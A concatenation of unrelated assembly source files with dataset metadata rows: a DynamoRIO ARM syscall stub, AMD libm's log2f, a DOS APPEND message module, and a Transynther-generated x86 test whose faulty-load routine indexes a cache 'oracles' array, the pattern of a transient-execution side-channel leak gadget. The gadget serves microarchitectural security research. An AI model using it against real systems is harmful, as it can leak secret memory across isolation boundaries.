* Copyright (c) 2014-2016 Google, Inc. All rights reserved.
* ********************************************************** */
/*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* * Neither the name of Google, Inc. nor the names of its contributors may be
* used to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL VMWARE, INC. OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
* DAMAGE.
*/
/*
* ARM-specific assembly and trampoline code, shared w/ non-core-DR-lib.
*/
#include "../asm_defines.asm"
START_FILE
/* we share dynamorio_syscall w/ preload */
/* To avoid libc wrappers we roll our own syscall here.
* Hardcoded to use svc/swi for 32-bit -- FIXME: use something like do_syscall
* signature: dynamorio_syscall(sys_num, num_args, arg1, arg2, ...)
* For Linux, the argument max is 6.
*/
/* Linux system call on AArch32:
* - r7: syscall number
* - r0..r6: syscall arguments
* We need to not de-ref stack args that weren't passed so we can't ignore num_args.
*/
DECLARE_FUNC(dynamorio_syscall)
GLOBAL_LABEL(dynamorio_syscall:)
push {REG_R4-REG_R9}
/* Point r8 at the args on the stack */
add REG_R8, sp, #(6*ARG_SZ) /* size for {r4-r9} */
mov REG_R7, ARG1 /* sysnum */
mov REG_R0, ARG3 /* syscall arg1 */
mov REG_R9, ARG4 /* syscall arg2 */
cmp ARG2, #2
blt syscall_0_or_1arg
beq syscall_2args
cmp ARG2, #3
beq syscall_3args
cmp ARG2, #4
beq syscall_4args
cmp ARG2, #5
beq syscall_5args
cmp ARG2, #6
beq syscall_6args
syscall_7args:
ldr REG_R6, [REG_R8, #(4*ARG_SZ)] /* syscall arg7 */
syscall_6args:
ldr REG_R5, [REG_R8, #(3*ARG_SZ)] /* syscall arg6 */
syscall_5args:
ldr REG_R4, [REG_R8, #(2*ARG_SZ)] /* syscall arg5 */
syscall_4args:
ldr REG_R3, [REG_R8, #(1*ARG_SZ)] /* syscall arg4 */
syscall_3args:
ldr REG_R2, [REG_R8, #(0*ARG_SZ)] /* syscall arg3 */
syscall_2args:
mov REG_R1, REG_R9 /* syscall arg2 */
syscall_0_or_1arg:
/* arg1 is already in place */
svc #0
pop {REG_R4-REG_R9}
bx lr
/* FIXME i#1551: just a shell to get things compiling. We need to fill
* in the real implementation.
*/
#define FUNCNAME dr_fpu_exception_init
DECLARE_FUNC(FUNCNAME)
GLOBAL_LABEL(FUNCNAME:)
bx lr
END_FUNC(FUNCNAME)
#undef FUNCNAME
END_FILE
| 39.252525 | 84 | 0.634071 |
e61aa78bcd2b2de9d6af39cc8b7faaf60deba8f6 | 23,633 | asm | Assembly | src/isa/avx/masm/log2f.asm | jepler/aocl-libm-ose | 4033e022da428125747e118ccd6fdd9cee21c470 | [
"BSD-3-Clause"
] | 66 | 2020-11-04T17:06:10.000Z | 2022-03-10T08:03:12.000Z | src/isa/avx/masm/log2f.asm | HollowMan6/aocl-libm-ose | 4033e022da428125747e118ccd6fdd9cee21c470 | [
"BSD-3-Clause"
] | 8 | 2021-04-18T18:37:53.000Z | 2022-03-11T12:49:31.000Z | src/isa/avx/masm/log2f.asm | HollowMan6/aocl-libm-ose | 4033e022da428125747e118ccd6fdd9cee21c470 | [
"BSD-3-Clause"
] | 8 | 2020-11-09T03:45:01.000Z | 2021-11-08T02:25:31.000Z | ;
; Copyright (C) 2008-2020 Advanced Micro Devices, Inc. All rights reserved.
;
; Redistribution and use in source and binary forms, with or without modification,
; are permitted provided that the following conditions are met:
; 1. Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer.
; 2. Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
; 3. Neither the name of the copyright holder nor the names of its contributors
; may be used to endorse or promote products derived from this software without
; specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
; IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
; OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
;
;
; log2f.asm
;
; An implementation of the log2f libm function.
;
; Prototype:
;
; float log2f(float x);
;
;
; Algorithm:
; Similar to one presnted in log.asm
;
include fm.inc
FN_PROTOTYPE_BAS64 log2f
fname_special TEXTEQU <_log2f_special>
; define local variable storage offsets
p_temp EQU 30h
;arg_x EQU 0h
;arg_y EQU 10h
;arg_code EQU 20h
stack_size EQU 78h
; external function
EXTERN fname_special:PROC
; macros
StackAllocate MACRO size
sub rsp, size
.ALLOCSTACK size
ENDM
text SEGMENT EXECUTE
PUBLIC fname
fname PROC FRAME
StackAllocate stack_size
.ENDPROLOG
; compute exponent part
xor eax, eax
movdqa xmm3, xmm0
movss xmm4, xmm0
psrld xmm3, 23
movd eax, xmm0
psubd xmm3, XMMWORD PTR __mask_127
movdqa xmm2, xmm0
cvtdq2ps xmm5, xmm3 ; xexp
; NaN or inf
movdqa xmm1, xmm0
andps xmm1, XMMWORD PTR __real_inf
comiss xmm1, DWORD PTR __real_inf
je __x_is_inf_or_nan
; check for negative numbers or zero
xorps xmm1, xmm1
comiss xmm0, xmm1
jbe __x_is_zero_or_neg
pand xmm2, XMMWORD PTR __real_mant
subss xmm4, DWORD PTR __real_one
comiss xmm5, DWORD PTR __real_neg127
je __denormal_adjust
__continue_common:
; compute index into the log tables
mov r9d, eax
and eax, DWORD PTR __mask_mant_all7
and r9d, DWORD PTR __mask_mant8
shl r9d, 1
add eax, r9d
mov DWORD PTR [p_temp+rsp], eax
; near one codepath
andps xmm4, XMMWORD PTR __real_notsign
comiss xmm4, DWORD PTR __real_threshold
jb __near_one
; F, Y
movss xmm1, DWORD PTR [p_temp+rsp]
shr eax, 16
por xmm2, XMMWORD PTR __real_half
por xmm1, XMMWORD PTR __real_half
lea r9, QWORD PTR __log_F_inv
; f = F - Y, r = f * inv
subss xmm1, xmm2
mulss xmm1, DWORD PTR [r9+rax*4]
movss xmm2, xmm1
movss xmm0, xmm1
; poly
mulss xmm2, DWORD PTR __real_1_over_3
mulss xmm0, xmm1
addss xmm2, DWORD PTR __real_1_over_2
lea r9, QWORD PTR __log_128_tail
lea r10, QWORD PTR __log_128_lead
mulss xmm2, xmm0
movss xmm3, DWORD PTR [r9+rax*4]
addss xmm1, xmm2
mulss xmm1, DWORD PTR __real_log2_e
; m + log2(G) - poly*log2_e
subss xmm3, xmm1
movss xmm0, xmm3
addss xmm5, DWORD PTR [r10+rax*4]
addss xmm0, xmm5
add rsp, stack_size
ret
ALIGN 16
__near_one:
; r = x - 1.0;
movss xmm2, DWORD PTR __real_two
subss xmm0, DWORD PTR __real_one
; u = r / (2.0 + r)
addss xmm2, xmm0
movss xmm1, xmm0
divss xmm1, xmm2 ; u
; correction = r * u
movss xmm4, xmm0
mulss xmm4, xmm1
; u = u + u;
addss xmm1, xmm1
movss xmm2, xmm1
mulss xmm2, xmm2 ; v = u^2
; r2 = (u * v * (ca_1 + v * ca_2) - correction)
movss xmm3, xmm1
mulss xmm3, xmm2 ; u^3
mulss xmm2, DWORD PTR __real_ca2 ; Bu^2
addss xmm2, DWORD PTR __real_ca1 ; +A
mulss xmm2, xmm3
subss xmm2, xmm4 ; -correction
movdqa xmm5, xmm0
pand xmm5, XMMWORD PTR __mask_lower
subss xmm0, xmm5
addss xmm2, xmm0
movss xmm0, xmm5
movss xmm1, xmm2
mulss xmm2, DWORD PTR __real_log2_e_tail
mulss xmm0, DWORD PTR __real_log2_e_tail
mulss xmm1, DWORD PTR __real_log2_e_lead
mulss xmm5, DWORD PTR __real_log2_e_lead
addss xmm0, xmm2
addss xmm0, xmm1
addss xmm0, xmm5
add rsp, stack_size
ret
ALIGN 16
__denormal_adjust:
por xmm2, XMMWORD PTR __real_one
subss xmm2, DWORD PTR __real_one
movdqa xmm5, xmm2
pand xmm2, XMMWORD PTR __real_mant
movd eax, xmm2
psrld xmm5, 23
psubd xmm5, XMMWORD PTR __mask_253
cvtdq2ps xmm5, xmm5
jmp __continue_common
ALIGN 16
__x_is_zero_or_neg:
jne __x_is_neg
movss xmm1, DWORD PTR __real_ninf
mov r8d, DWORD PTR __flag_x_zero
call fname_special
jmp __finish
ALIGN 16
__x_is_neg:
movss xmm1, DWORD PTR __real_neg_qnan
mov r8d, DWORD PTR __flag_x_neg
call fname_special
jmp __finish
ALIGN 16
__x_is_inf_or_nan:
cmp eax, DWORD PTR __real_inf
je __finish
cmp eax, DWORD PTR __real_ninf
je __x_is_neg
or eax, DWORD PTR __real_qnanbit
movd xmm1, eax
mov r8d, DWORD PTR __flag_x_nan
call fname_special
jmp __finish
ALIGN 16
__finish:
add rsp, stack_size
ret
fname endp
text ENDS
data SEGMENT READ
ALIGN 16
; these codes and the ones in the corresponding .c file have to match
__flag_x_zero DD 00000001
__flag_x_neg DD 00000002
__flag_x_nan DD 00000003
ALIGN 16
__real_one DQ 03f8000003f800000h ; 1.0
DQ 03f8000003f800000h
__real_two DQ 04000000040000000h ; 1.0
DQ 04000000040000000h
__real_ninf DQ 0ff800000ff800000h ; -inf
DQ 0ff800000ff800000h
__real_inf DQ 07f8000007f800000h ; +inf
DQ 07f8000007f800000h
__real_nan DQ 07fc000007fc00000h ; NaN
DQ 07fc000007fc00000h
__real_ef DQ 0402DF854402DF854h ; float e
DQ 0402DF854402DF854h
__real_neg_qnan DQ 0ffc00000ffc00000h
DQ 0ffc00000ffc00000h
__real_sign DQ 08000000080000000h ; sign bit
DQ 08000000080000000h
__real_notsign DQ 07ffFFFFF7ffFFFFFh ; ^sign bit
DQ 07ffFFFFF7ffFFFFFh
__real_qnanbit DQ 00040000000400000h ; quiet nan bit
DQ 00040000000400000h
__real_mant DQ 0007FFFFF007FFFFFh ; mantissa bits
DQ 0007FFFFF007FFFFFh
__mask_127 DQ 00000007f0000007fh ;
DQ 00000007f0000007fh
__mask_mant_all7 DQ 00000000007f0000h
DQ 00000000007f0000h
__mask_mant8 DQ 0000000000008000h
DQ 0000000000008000h
__real_ca1 DQ 03DAAAAAB3DAAAAABh ; 8.33333333333317923934e-02
DQ 03DAAAAAB3DAAAAABh
__real_ca2 DQ 03C4CCCCD3C4CCCCDh ; 1.25000000037717509602e-02
DQ 03C4CCCCD3C4CCCCDh
__real_log2_lead DQ 03F3170003F317000h ; 0.693115234375
DQ 03F3170003F317000h
__real_log2_tail DQ 03805FDF43805FDF4h ; 0.000031946183
DQ 03805FDF43805FDF4h
__real_half DQ 03f0000003f000000h ; 1/2
DQ 03f0000003f000000h
__real_log2_e_lead DQ 03FB800003FB80000h ; 1.4375000000
DQ 03FB800003FB80000h
__real_log2_e_tail DQ 03BAA3B293BAA3B29h ; 0.0051950408889633
DQ 03BAA3B293BAA3B29h
__real_log2_e DQ 3fb8aa3b3fb8aa3bh
DQ 0000000000000000h
__mask_lower DQ 0ffff0000ffff0000h
DQ 0ffff0000ffff0000h
ALIGN 16
__real_neg127 DD 0c2fe0000h
DD 0
DQ 0
__mask_253 DD 000000fdh
DD 0
DQ 0
__real_threshold DD 3d800000h
DD 0
DQ 0
__mask_01 DD 00000001h
DD 0
DQ 0
__mask_80 DD 00000080h
DD 0
DQ 0
__real_3b800000 DD 3b800000h
DD 0
DQ 0
__real_1_over_3 DD 3eaaaaabh
DD 0
DQ 0
__real_1_over_2 DD 3f000000h
DD 0
DQ 0
ALIGN 16
__log_128_lead:
DD 00000000h
DD 3c37c000h
DD 3cb70000h
DD 3d08c000h
DD 3d35c000h
DD 3d624000h
DD 3d874000h
DD 3d9d4000h
DD 3db30000h
DD 3dc8c000h
DD 3dde4000h
DD 3df38000h
DD 3e044000h
DD 3e0ec000h
DD 3e194000h
DD 3e238000h
DD 3e2e0000h
DD 3e380000h
DD 3e424000h
DD 3e4c4000h
DD 3e564000h
DD 3e604000h
DD 3e6a4000h
DD 3e740000h
DD 3e7dc000h
DD 3e83c000h
DD 3e888000h
DD 3e8d4000h
DD 3e920000h
DD 3e96c000h
DD 3e9b8000h
DD 3ea00000h
DD 3ea4c000h
DD 3ea94000h
DD 3eae0000h
DD 3eb28000h
DD 3eb70000h
DD 3ebb8000h
DD 3ec00000h
DD 3ec44000h
DD 3ec8c000h
DD 3ecd4000h
DD 3ed18000h
DD 3ed5c000h
DD 3eda0000h
DD 3ede8000h
DD 3ee2c000h
DD 3ee70000h
DD 3eeb0000h
DD 3eef4000h
DD 3ef38000h
DD 3ef78000h
DD 3efbc000h
DD 3effc000h
DD 3f01c000h
DD 3f040000h
DD 3f060000h
DD 3f080000h
DD 3f0a0000h
DD 3f0c0000h
DD 3f0dc000h
DD 3f0fc000h
DD 3f11c000h
DD 3f13c000h
DD 3f15c000h
DD 3f178000h
DD 3f198000h
DD 3f1b4000h
DD 3f1d4000h
DD 3f1f0000h
DD 3f210000h
DD 3f22c000h
DD 3f24c000h
DD 3f268000h
DD 3f288000h
DD 3f2a4000h
DD 3f2c0000h
DD 3f2dc000h
DD 3f2f8000h
DD 3f318000h
DD 3f334000h
DD 3f350000h
DD 3f36c000h
DD 3f388000h
DD 3f3a4000h
DD 3f3c0000h
DD 3f3dc000h
DD 3f3f8000h
DD 3f414000h
DD 3f42c000h
DD 3f448000h
DD 3f464000h
DD 3f480000h
DD 3f498000h
DD 3f4b4000h
DD 3f4d0000h
DD 3f4e8000h
DD 3f504000h
DD 3f51c000h
DD 3f538000h
DD 3f550000h
DD 3f56c000h
DD 3f584000h
DD 3f5a0000h
DD 3f5b8000h
DD 3f5d0000h
DD 3f5ec000h
DD 3f604000h
DD 3f61c000h
DD 3f638000h
DD 3f650000h
DD 3f668000h
DD 3f680000h
DD 3f698000h
DD 3f6b0000h
DD 3f6cc000h
DD 3f6e4000h
DD 3f6fc000h
DD 3f714000h
DD 3f72c000h
DD 3f744000h
DD 3f75c000h
DD 3f770000h
DD 3f788000h
DD 3f7a0000h
DD 3f7b8000h
DD 3f7d0000h
DD 3f7e8000h
DD 3f800000h
ALIGN 16
__log_128_tail:
DD 00000000h
DD 374a16ddh
DD 37f2d0b8h
DD 381a3aa2h
DD 37b4dd63h
DD 383f5721h
DD 384e27e8h
DD 380bf749h
DD 387dbeb2h
DD 37216e46h
DD 3684815bh
DD 383b045fh
DD 390b119bh
DD 391a32eah
DD 38ba789eh
DD 39553f30h
DD 3651cfdeh
DD 39685a9dh
DD 39057a05h
DD 395ba0efh
DD 396bc5b6h
DD 3936d9bbh
DD 38772619h
DD 39017ce9h
DD 3902d720h
DD 38856dd8h
DD 3941f6b4h
DD 3980b652h
DD 3980f561h
DD 39443f13h
DD 38926752h
DD 39c8c763h
DD 391e12f3h
DD 39b7bf89h
DD 36d1cfdeh
DD 38c7f233h
DD 39087367h
DD 38e95d3fh
DD 38256316h
DD 39d38e5ch
DD 396ea247h
DD 350e4788h
DD 395d829fh
DD 39c30f2fh
DD 39fd7ee7h
DD 3872e9e7h
DD 3897d694h
DD 3824923ah
DD 39ea7c06h
DD 39a7fa88h
DD 391aa879h
DD 39dace65h
DD 39215a32h
DD 39af3350h
DD 3a7b5172h
DD 389cf27fh
DD 3902806bh
DD 3909d8a9h
DD 38c9faa1h
DD 37a33dcah
DD 3a6623d2h
DD 3a3c7a61h
DD 3a083a84h
DD 39930161h
DD 35d1cfdeh
DD 3a2d0ebdh
DD 399f1aadh
DD 3a67ff6dh
DD 39ecfea8h
DD 3a7b26f3h
DD 39ec1fa6h
DD 3a675314h
DD 399e12f3h
DD 3a2d4b66h
DD 370c3845h
DD 399ba329h
DD 3a1044d3h
DD 3a49a196h
DD 3a79fe83h
DD 3905c7aah
DD 39802391h
DD 39abe796h
DD 39c65a9dh
DD 39cfa6c5h
DD 39c7f593h
DD 39af6ff7h
DD 39863e4dh
DD 391910c1h
DD 369d5be7h
DD 3a541616h
DD 3a1ee960h
DD 39c38ed2h
DD 38e61600h
DD 3a4fedb4h
DD 39f6b4abh
DD 38f8d3b0h
DD 3a3b3faah
DD 399fb693h
DD 3a5cfe71h
DD 39c5740bh
DD 3a611eb0h
DD 39b079c4h
DD 3a4824d7h
DD 39439a54h
DD 3a1291eah
DD 3a6d3673h
DD 3981c731h
DD 3a0da88fh
DD 3a53945ch
DD 3895ae91h
DD 3996372ah
DD 39f9a832h
DD 3a27eda4h
DD 3a4c764fh
DD 3a6a7c06h
DD 370321ebh
DD 3899ab3fh
DD 38f02086h
DD 390a1707h
DD 39031e44h
DD 38c6b362h
DD 382bf195h
DD 3a768e36h
DD 3a5c503bh
DD 3a3c1179h
DD 3a15de1dh
DD 39d3845dh
DD 395f263fh
DD 00000000h
ALIGN 16
__log_F_inv:
DD 40000000h
DD 3ffe03f8h
DD 3ffc0fc1h
DD 3ffa232dh
DD 3ff83e10h
DD 3ff6603eh
DD 3ff4898dh
DD 3ff2b9d6h
DD 3ff0f0f1h
DD 3fef2eb7h
DD 3fed7304h
DD 3febbdb3h
DD 3fea0ea1h
DD 3fe865ach
DD 3fe6c2b4h
DD 3fe52598h
DD 3fe38e39h
DD 3fe1fc78h
DD 3fe07038h
DD 3fdee95ch
DD 3fdd67c9h
DD 3fdbeb62h
DD 3fda740eh
DD 3fd901b2h
DD 3fd79436h
DD 3fd62b81h
DD 3fd4c77bh
DD 3fd3680dh
DD 3fd20d21h
DD 3fd0b6a0h
DD 3fcf6475h
DD 3fce168ah
DD 3fcccccdh
DD 3fcb8728h
DD 3fca4588h
DD 3fc907dah
DD 3fc7ce0ch
DD 3fc6980ch
DD 3fc565c8h
DD 3fc43730h
DD 3fc30c31h
DD 3fc1e4bch
DD 3fc0c0c1h
DD 3fbfa030h
DD 3fbe82fah
DD 3fbd6910h
DD 3fbc5264h
DD 3fbb3ee7h
DD 3fba2e8ch
DD 3fb92144h
DD 3fb81703h
DD 3fb70fbbh
DD 3fb60b61h
DD 3fb509e7h
DD 3fb40b41h
DD 3fb30f63h
DD 3fb21643h
DD 3fb11fd4h
DD 3fb02c0bh
DD 3faf3adeh
DD 3fae4c41h
DD 3fad602bh
DD 3fac7692h
DD 3fab8f6ah
DD 3faaaaabh
DD 3fa9c84ah
DD 3fa8e83fh
DD 3fa80a81h
DD 3fa72f05h
DD 3fa655c4h
DD 3fa57eb5h
DD 3fa4a9cfh
DD 3fa3d70ah
DD 3fa3065eh
DD 3fa237c3h
DD 3fa16b31h
DD 3fa0a0a1h
DD 3f9fd80ah
DD 3f9f1166h
DD 3f9e4cadh
DD 3f9d89d9h
DD 3f9cc8e1h
DD 3f9c09c1h
DD 3f9b4c70h
DD 3f9a90e8h
DD 3f99d723h
DD 3f991f1ah
DD 3f9868c8h
DD 3f97b426h
DD 3f97012eh
DD 3f964fdah
DD 3f95a025h
DD 3f94f209h
DD 3f944581h
DD 3f939a86h
DD 3f92f114h
DD 3f924925h
DD 3f91a2b4h
DD 3f90fdbch
DD 3f905a38h
DD 3f8fb824h
DD 3f8f177ah
DD 3f8e7835h
DD 3f8dda52h
DD 3f8d3dcbh
DD 3f8ca29ch
DD 3f8c08c1h
DD 3f8b7034h
DD 3f8ad8f3h
DD 3f8a42f8h
DD 3f89ae41h
DD 3f891ac7h
DD 3f888889h
DD 3f87f781h
DD 3f8767abh
DD 3f86d905h
DD 3f864b8ah
DD 3f85bf37h
DD 3f853408h
DD 3f84a9fah
DD 3f842108h
DD 3f839930h
DD 3f83126fh
DD 3f828cc0h
DD 3f820821h
DD 3f81848eh
DD 3f810204h
DD 3f808081h
DD 3f800000h
data ENDS
END
| 31.343501 | 86 | 0.432912 |
c4388c2477fabe3940d97fafd9da2379311fdc0f | 1,203 | asm | Assembly | base/mvdm/dos/v86/cmd/append/appendm.asm | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | base/mvdm/dos/v86/cmd/append/appendm.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | base/mvdm/dos/v86/cmd/append/appendm.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z | page 60,120
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
; @@04 07/30/86 Fix second APPEND hang PTM P0000053
; @@05 08/13/86 Fix bad parm message PTM P0000125
; @@10 08/28/86 Change message for @@05 PTM P0000291
; @@11 09/10/86 Support message profile and make
; msg length variable. R.G. PTM P0000479
cseg segment public para 'CODE'
assume cs:cseg
public bad_append_msg ;@@11
public path_error_msg ;@@11
public parm_error_msg ;@@11
public path_parm_error_msg ;@@11
public no_append_msg ;@@11
public append_assign_msg ;@@11
public append_tv_msg ;@@11
public bad_DOS_msg ;@@11
public second_append_msg ;@@11
public len_bad_append_msg ;@@11
public len_path_error_msg ;@@11
public len_parm_error_msg ;@@11
public len_path_parm_error_msg ;@@11
public len_no_append_msg ;@@11
public len_append_assign_msg ;@@11
public len_append_tv_msg ;@@11
public len_bad_DOS_msg ;@@11
public len_second_append_msg ;@@11
cr equ 13
lf equ 10
include appendm.inc
cseg ends
end
| 28.642857 | 66 | 0.64921 |
48b05193a8748c48f7f98fa8de7b5e688eac9eb7 | 7,799 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_1236.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_1236.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_1236.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r14
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1b273, %rsi
nop
nop
nop
xor %r14, %r14
mov $0x6162636465666768, %r10
movq %r10, %xmm7
and $0xffffffffffffffc0, %rsi
movaps %xmm7, (%rsi)
nop
nop
sub %r14, %r14
lea addresses_UC_ht+0xa5f, %r14
nop
inc %rcx
movb (%r14), %r10b
nop
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_A_ht+0x501f, %r12
nop
nop
and $31843, %rcx
mov (%r12), %rdi
nop
nop
nop
nop
sub $19325, %r10
lea addresses_WT_ht+0xffdf, %rsi
lea addresses_normal_ht+0x84ff, %rdi
clflush (%rsi)
nop
nop
nop
xor %r9, %r9
mov $114, %rcx
rep movsw
sub $49801, %r14
lea addresses_WC_ht+0x385f, %r9
add $14284, %r12
mov (%r9), %si
nop
nop
nop
nop
and $12353, %rsi
lea addresses_D_ht+0x160cf, %rdi
nop
nop
nop
sub $3520, %rcx
mov (%rdi), %r9
nop
nop
sub %r14, %r14
lea addresses_A_ht+0x1a45f, %rsi
lea addresses_UC_ht+0x1c43f, %rdi
nop
nop
nop
sub %r13, %r13
mov $48, %rcx
rep movsb
nop
nop
nop
add $47642, %r13
lea addresses_WC_ht+0x1cb85, %rsi
nop
nop
nop
xor %r13, %r13
movups (%rsi), %xmm2
vpextrq $1, %xmm2, %r12
sub $51260, %r12
lea addresses_UC_ht+0x16ddf, %r13
nop
add $39009, %rcx
movups (%r13), %xmm7
vpextrq $0, %xmm7, %r14
nop
nop
nop
nop
nop
and $60282, %r13
lea addresses_A_ht+0x1b7df, %rsi
lea addresses_A_ht+0x1b137, %rdi
nop
nop
nop
nop
xor $60116, %r13
mov $109, %rcx
rep movsq
nop
nop
nop
nop
nop
xor $44481, %rcx
lea addresses_UC_ht+0x1a7df, %r12
nop
nop
nop
nop
nop
add %rcx, %rcx
mov (%r12), %r14
nop
nop
nop
xor %rdi, %rdi
lea addresses_normal_ht+0x7a5f, %rdi
add %rcx, %rcx
mov $0x6162636465666768, %r13
movq %r13, (%rdi)
nop
sub $53558, %r12
lea addresses_WT_ht+0x37df, %r14
nop
nop
inc %r10
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
movups %xmm3, (%r14)
nop
nop
nop
nop
nop
dec %r9
lea addresses_UC_ht+0x365f, %r10
nop
nop
xor %r12, %r12
movw $0x6162, (%r10)
nop
nop
nop
nop
nop
inc %r13
lea addresses_D_ht+0x1e1df, %rsi
lea addresses_WT_ht+0x138bf, %rdi
clflush (%rdi)
xor $23019, %r14
mov $13, %rcx
rep movsq
nop
nop
nop
nop
nop
sub $16657, %r12
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r14
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %r9
push %rdi
push %rsi
// Faulty Load
lea addresses_US+0xf7df, %r9
nop
nop
sub %r8, %r8
vmovups (%r9), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %r11
lea oracles, %r8
and $0xff, %r11
shlq $12, %r11
mov (%r8,%r11,1), %r11
pop %rsi
pop %rdi
pop %r9
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_US', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': True, 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': True, 'AVXalign': False, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
